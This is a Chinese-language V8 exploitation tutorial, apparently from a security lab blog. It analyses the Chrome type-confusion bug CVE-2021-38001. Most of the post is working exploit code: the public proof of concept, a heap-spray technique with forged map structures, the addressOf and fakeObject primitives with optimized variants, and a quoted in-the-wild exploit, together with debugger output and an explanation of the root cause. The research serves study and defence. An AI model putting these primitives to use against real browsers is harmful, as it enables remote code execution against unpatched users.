作者:Hcamael@知道創宇404實驗室

相關閱讀: 從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)
從 0 開始學 V8 漏洞利用之 CVE-2020-6507(四)
從0開始學 V8 漏洞利用之 CVE-2021-30632(五)

CVE-2021-38001漏洞分析

第四個研究的是CVE-2021-38001,其chrome的bug編號為:1260577

其相關信息還未公開,但是我們仍然能得知:

受影響的Chrome最高版本為:95.0.4638.54 受影響的V8最高版本為:9.5.172.21

搭建環境

一鍵編譯相關環境:

$ ./build.sh 9.5.172.21

該漏洞是2021年天府杯上提交的漏洞,在網上也只有一篇相關分析和PoC:

import * as module from "1.mjs";

function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = module;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }

    for (let i = 0; i < 0x100; i++) {
        trigger();
    }
}

poc();

該漏洞在原理的理解上有一些難度,不過仍然能使用套模板的方法來編寫EXP,不過在套模板之前我們先來學一個新技術:V8通用堆噴技術

V8通用堆噴技術

首先來做個簡單的測試:

a = Array(100);
%DebugPrint(a);
%SystemBreak();

使用vmmap查看堆布局:

    0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000]
    0x1f7a00003000     0x1f7a00004000 ---p     1000 0      [anon_1f7a00003]
    0x1f7a00004000     0x1f7a0001a000 r-xp    16000 0      [anon_1f7a00004]
    0x1f7a0001a000     0x1f7a0003f000 ---p    25000 0      [anon_1f7a0001a]
    0x1f7a0003f000     0x1f7a08000000 ---p  7fc1000 0      [anon_1f7a0003f]
    0x1f7a08000000     0x1f7a0802a000 r--p    2a000 0      [anon_1f7a08000]
    0x1f7a0802a000     0x1f7a08040000 ---p    16000 0      [anon_1f7a0802a]
    0x1f7a08040000     0x1f7a0814d000 rw-p   10d000 0      [anon_1f7a08040]
    0x1f7a0814d000     0x1f7a08180000 ---p    33000 0      [anon_1f7a0814d]
    0x1f7a08180000     0x1f7a08183000 rw-p     3000 0      [anon_1f7a08180]
    0x1f7a08183000     0x1f7a081c0000 ---p    3d000 0      [anon_1f7a08183]
    0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]
    0x1f7a08240000     0x1f7b00000000 ---p f7dc0000 0      [anon_1f7a08240]

其中我們注意一下最后一塊堆相關信息:

0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]

pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000

以下為該堆塊的相關結構:

0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址為0x00001f7a081c2118,在V8的堆結構中有0x2118字節用來存儲堆結構相關信息
0x1f7a081c0020: 堆指針,表示該堆已經被使用到哪了
0x1f7a081c0028: 已經被使用的size, 0x3dee8 + 0x2118 = 0x40000

再來看看后面的堆布局:

pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000

結構同上,可以發現,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]內存區域中,由兩個大小為0x40000的v8的堆組成。

如果這個時候,我申請一個0xf700大小的數組,在新版v8中,一個地址4字節,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再對齊一下,那么就是0x40000大小的堆,我們來測試一下:

a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

得到變量a的信息為:

DebugPrint: 0x2beb08049929: [JSArray]
 - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2beb081cc0e9 <JSArray[0]>
 - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
 - length: 63232
 - properties: 0x2beb0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x2beb08242119 <FixedArray[63232]> {
     0-63231: 0x2beb0800242d <the_hole>
 }

發現堆布局的變化:

    0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0]

size從0x80000變成了0xc0000,跟我預想的一樣,增加了0x40000,而變量aelements字段地址為0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119

在新版的V8種,因為啟用的地址壓縮特性,在堆中儲存的地址為4字節,而根據上述堆的特性,我們能確定低2字節為0x2119

另外,堆地址總是從0x00000000開始的,在我的環境中,上述堆的高2字節總是0x081c,該數值取決于V8在前面的堆中儲存了多少數據,該值不會隨機變化,比如在寫好的腳本中,該值基本不會發生改變。所以現在,可以確定一個有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0

如果在比較復雜的環境中,可以增加Array的數量,然后定一個比較大的值,如以下一個示例:

big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
      }
      big_array.push(tmp);
}

通過該方法堆噴,我們能確定一個地址:0x30002121,然后通過以下代碼可以獲取到u2d(i * 0x100 + j, 0)的值,從而算出i,j:

var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);

該方法的作用是獲取Uint32Array類型變量的bytelength屬性,可以通過調試,了解一下Uint32Array類型變量的結構。

但是為什么evil(地址為0x30002121),會被當成Uint32Array類型的變量呢,因為使用上述方法,V8不會檢查變量類型嗎?當然不是,上面的代碼并不完整,完整的代碼還需要偽造map結構,地址我們可以算出來,而map結構的會被檢查的數據都是flag標志為,該值固定,所以使用gdb查看一下相關變量的map結構,就能進行偽造了,完整的堆噴代碼如下:

ut_map = itof(0x300021a1);
  buffer = itof(0x3000212900000000);

  address = itof(0x12312345678);
  ut_map1 = itof(0x1712121200000000);
  ut_map2 = itof(0x3ff5500082e);
  ut_length = itof(0x2);
  double_map = itof(0x300022a1);
  double_map1 = itof(0x1604040400000000);
  double_map2 = itof(0x7ff11000834);

  big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
          tmp[0x8 / 0x8 + j * 0x1000] = buffer;
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
          tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
          tmp[0x28 / 0x8 + j * 0x1000] = address;
          tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
          tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
          tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
          tmp[0x100 / 0x8 + j * 0x1000] = double_map;
          tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
          tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
      }
      big_array['push'](tmp);
  }

后續利用中同樣可以使用該思路偽造一個doule數組的變量或者obj數組的變量。

套模版

接下來又到套模板的時間了,暫時先不用管漏洞成因,漏洞原理啥的,我們先借助PoC,來把我們的exp寫出來。

研究PoC

可以把PoC化簡一下:

import('./2.mjs').then((m1) => {
    var f64 = new Float64Array(1);
    var bigUint64 = new BigUint64Array(f64.buffer);
    var u32 = new Uint32Array(f64.buffer);

    function d2u(v) {
        f64[0] = v;
        return u32;
    }
    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }
    function ftoi(f)
    {
        f64[0] = f;
        return bigUint64[0];
    }
    function itof(i)
    {
        bigUint64[0] = i;
        return f64[0];
    }
    class C {
        m() {
            return super.x;
        }
    }
    obj_prop_ut_fake = {};
    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
    }
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();
    %DebugPrint(evil);
});

運行一下PoC,可以發現,最后的結果為:DebugPrint: Smi: 0x20202021 (538976289),SMI類型的變量,值為0x20202021,在內存中的儲存值為其兩倍:0x20202021 * 2 = 0x40404042,也就是我們在PoC中設置的值。

編寫堆噴代碼

在PoC中加上我們的堆噴代碼(同時進行堆布局):

a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;

其中0x082c2121big_array[0]的地址,0x08242119ptr_array[0]的地址。

然后是leak變量a和變量b的map地址:

let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));

編寫addressOf函數

現在我們能來編寫addressOf函數了:

function addressOf(obj_to_leak)
{
    big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
    b[0] = obj_to_leak;
    evil[0] = double_array_map;
    let obj_addr = ftoi(b[0])-1n;
    evil[0] = obj_array_map;
    return obj_addr;
}

編寫fakeObj函數

接下來就是編寫fakeObj函數:

function fakeObject(addr_to_fake)
{
    big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
    a[0] = itof(addr_to_fake + 1n);
    evil[0] = obj_array_map;
    let faked_obj = a[0];
    evil[0] = double_array_map;
    return faked_obj;
}

之后就是按照模版來了,修改修改偏移,就能執行shellcode了。

優化

該PoC還能進行一些優化,有時候沒必要死摳著模板來,按照上文的所說的知識,我們能偽造map結構的數據,那自然不管是double array map還是obj array map都能,所以沒必要再泄漏這些數據了。

我們的堆噴代碼能進行一些優化:

double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;

其中big_array[0x100/8]是我們偽造的double array mapbig_array[0x150/8]是我們偽造的object array map

addressOf函數和fakeObj函數也進行一波優化:

function fakeObject(addr_to_fake)
{
    big_array[0x058/8] = itof(addr_to_fake + 1n);        
    let faked_obj = evil[0];
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    evil[0] = obj_to_leak;
    big_array[0x000/8] = u2d(double_array_addr, 0);
    let obj_addr = ftoi(evil[0])-1n;
    big_array[0x000/8] = u2d(obj_array_addr, 0);
    return obj_addr;
}

其他PoC

該漏洞的PoC不僅有Github上公開的版本,還抓到一個在野利用的版本:

function triger_type_confusion() {
    return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
  constructor() {
      super();
      obj_or_function = super.x;
  }
}

obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
  obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
  'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;

for (let i = 0x0; i < 0xa; i++) {
  new C();
}
new C();
fake_ut = obj_or_function;

不過跟Github上的PoC對比,略顯麻煩了一些,不過原理仍然是一樣的。

漏洞原理

該漏洞的成因跟之前我復現的漏洞相比,略微復雜了一下,需要補充一些V8的設計原理相關的知識,可以參考:

需要了解一下JS獲取屬性的原理,還有Inline Caches相關的知識。

這里我只簡單說說該漏洞的問題:

在最開始執行10次new C(),因為Lazy feedback allocation,所以并沒有對屬性訪問進行優化,這個時候的super就是m1,但是在執行完10次之后,開始進行Inline Caches優化,因為內聯緩存代碼的bug,super的值變成了變量c: let c = new C();,之后的流程如下:

  1. super.x的取值順序為:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
  2. 因為Lazy feedback allocationtrigger函數在執行10次之后,觸發了Inline Caches,為了加速代碼執行速度,把super.x取值的順序直接轉換成匯編代碼。
  3. 漏洞代碼,在翻譯匯編代碼的時候,把super翻譯成了變量c
  4. c+0xC位置儲存的是obj_prop_ut_fake
  5. obj_prop_ut_fake+0x4儲存的是該變量的properties(屬性),也就是obj_prop_ut_fake.xn
  6. obj_prop_ut_fake.properties + 0x28獲取到的是HeapNumber結構地址。
  7. HeapNumber+0x4地址的值為u2d(0x40404042, 0)

參考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
  2. https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
  3. https://v8.dev/blog/v8-lite
  4. https://mathiasbynens.be/notes/shapes-ics#ics

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1825/